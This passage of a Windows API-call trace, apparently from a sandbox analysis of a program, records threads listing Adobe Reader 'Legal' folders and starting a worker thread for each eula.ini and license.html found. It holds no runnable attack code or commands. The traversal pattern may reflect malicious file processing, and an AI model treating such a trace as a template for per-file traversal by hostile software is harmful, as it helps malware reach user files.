10.0\\Reader\\Legal\\RUS\\*" [0153.115] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b9458 [0153.115] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", lpFindFileData=0x9b9458 | out: lpFindFileData=0x9b9458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9423b0 [0155.173] wcscmp (_String1=".", _String2=".") returned 0 [0155.173] FindNextFileW (in: hFindFile=0x9423b0, lpFindFileData=0x9b9458 | out: lpFindFileData=0x9b9458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.173] wcscmp (_String1="..", _String2=".") returned 1 [0155.173] wcscmp (_String1="..", _String2="..") returned 0 [0155.173] FindNextFileW (in: hFindFile=0x9423b0, lpFindFileData=0x9b9458 | out: lpFindFileData=0x9b9458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.174] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.174] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.174] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7b08 [0155.174] wcscpy (in: _Dest=0x8e7b08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" [0155.174] wcscat (in: _Dest=0x8e7b08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" [0155.174] wcscat (in: _Dest=0x8e7b08, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini" [0161.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1858 [0161.085] FindNextFileW (in: hFindFile=0x9423b0, lpFindFileData=0x9b9458 | out: lpFindFileData=0x9b9458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0161.085] wcscmp (_String1="license.html", _String2=".") returned 1 [0161.085] wcscmp (_String1="license.html", _String2="..") returned 1 [0161.085] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ab8e8 [0161.085] wcscpy (in: _Dest=0x9ab8e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" [0161.085] wcscat (in: _Dest=0x9ab8e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" [0161.085] wcscat (in: _Dest=0x9ab8e8, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" [0161.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ab8e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04 [0161.086] FindNextFileW (in: hFindFile=0x9423b0, lpFindFileData=0x9b9458 | out: lpFindFileData=0x9b9458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0161.087] FindClose (in: hFindFile=0x9423b0 | out: hFindFile=0x9423b0) returned 1 [0161.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b9458) returned 1 [0161.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0d00) returned 1 [0161.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0880) returned 1 Thread: id = 3321 os_tid = 0x94c [0153.116] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0d80 [0153.116] wcscpy (in: _Dest=0x8d0d80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" [0153.116] wcscat (in: _Dest=0x8d0d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" [0153.116] wcscat (in: _Dest=0x8d0d80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*" [0153.116] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b96c0 [0153.116] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", lpFindFileData=0x9b96c0 | out: lpFindFileData=0x9b96c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0155.173] wcscmp (_String1=".", _String2=".") returned 0 [0155.173] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9b96c0 | out: lpFindFileData=0x9b96c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.173] wcscmp (_String1="..", _String2=".") returned 1 [0155.173] wcscmp (_String1="..", _String2="..") returned 0 [0155.173] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9b96c0 | out: lpFindFileData=0x9b96c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.173] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.173] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.173] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7d48 [0155.173] wcscpy (in: _Dest=0x8e7d48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" [0155.173] wcscat (in: _Dest=0x8e7d48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" [0155.173] wcscat (in: _Dest=0x8e7d48, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini" [0155.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17fc [0155.664] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9b96c0 | out: lpFindFileData=0x9b96c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.664] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.664] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.664] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac398 [0155.664] wcscpy (in: _Dest=0x9ac398, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" [0155.664] wcscat (in: _Dest=0x9ac398, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\" [0155.664] wcscat (in: _Dest=0x9ac398, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" [0155.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12bc [0155.666] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9b96c0 | out: lpFindFileData=0x9b96c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.666] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0155.666] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b96c0) returned 1 [0155.666] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0d80) returned 1 [0155.666] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0800) returned 1 Thread: id = 3322 os_tid = 0x950 [0153.116] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0e00 [0153.116] wcscpy (in: _Dest=0x8d0e00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" [0153.116] wcscat (in: _Dest=0x8d0e00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" [0153.116] wcscat (in: _Dest=0x8d0e00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*" [0153.116] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9666a8 [0153.116] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", lpFindFileData=0x9666a8 | out: lpFindFileData=0x9666a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942170 [0155.172] wcscmp (_String1=".", _String2=".") returned 0 [0155.172] FindNextFileW (in: hFindFile=0x942170, lpFindFileData=0x9666a8 | out: lpFindFileData=0x9666a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.172] wcscmp (_String1="..", _String2=".") returned 1 [0155.172] wcscmp (_String1="..", _String2="..") returned 0 [0155.172] FindNextFileW (in: hFindFile=0x942170, lpFindFileData=0x9666a8 | out: lpFindFileData=0x9666a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.172] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.172] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.172] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6fc8 [0155.172] wcscpy (in: _Dest=0x8e6fc8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" [0155.172] wcscat (in: _Dest=0x8e6fc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" [0155.172] wcscat (in: _Dest=0x8e6fc8, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini" [0155.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180c [0155.789] FindNextFileW (in: hFindFile=0x942170, lpFindFileData=0x9666a8 | out: lpFindFileData=0x9666a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.789] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.789] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.789] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c75ca0 [0155.789] wcscpy (in: _Dest=0x12c75ca0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" [0155.789] wcscat (in: _Dest=0x12c75ca0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" [0155.789] wcscat (in: _Dest=0x12c75ca0, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" [0155.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b0 [0155.790] FindNextFileW (in: hFindFile=0x942170, lpFindFileData=0x9666a8 | out: lpFindFileData=0x9666a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.791] FindClose (in: hFindFile=0x942170 | out: hFindFile=0x942170) returned 1 [0155.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9666a8) returned 1 [0155.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0e00) returned 1 [0155.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0780) returned 1 Thread: id = 3323 os_tid = 0x590 [0153.116] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0e80 [0153.117] wcscpy (in: _Dest=0x8d0e80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" [0153.117] wcscat (in: _Dest=0x8d0e80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" [0153.117] wcscat (in: _Dest=0x8d0e80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*" [0153.117] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9685f0 [0153.117] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", lpFindFileData=0x9685f0 | out: lpFindFileData=0x9685f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941ff0 [0155.170] wcscmp (_String1=".", _String2=".") returned 0 [0155.170] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x9685f0 | out: lpFindFileData=0x9685f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.170] wcscmp (_String1="..", _String2=".") returned 1 [0155.170] wcscmp (_String1="..", _String2="..") returned 0 [0155.170] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x9685f0 | out: lpFindFileData=0x9685f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.170] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.170] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6c68 [0155.170] wcscpy (in: _Dest=0x8e6c68, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" [0155.171] wcscat (in: _Dest=0x8e6c68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" [0155.171] wcscat (in: _Dest=0x8e6c68, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini" [0155.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1810 [0155.657] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x9685f0 | out: lpFindFileData=0x9685f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.657] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.657] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.657] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac560 [0155.657] wcscpy (in: _Dest=0x9ac560, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" [0155.657] wcscat (in: _Dest=0x9ac560, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" [0155.657] wcscat (in: _Dest=0x9ac560, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" [0155.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170 [0155.658] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x9685f0 | out: lpFindFileData=0x9685f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.659] FindClose (in: hFindFile=0x941ff0 | out: hFindFile=0x941ff0) returned 1 [0155.659] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9685f0) returned 1 [0155.659] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0e80) returned 1 [0155.659] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0700) returned 1 Thread: id = 3324 os_tid = 0x58c [0153.117] RtlAllocateHeap 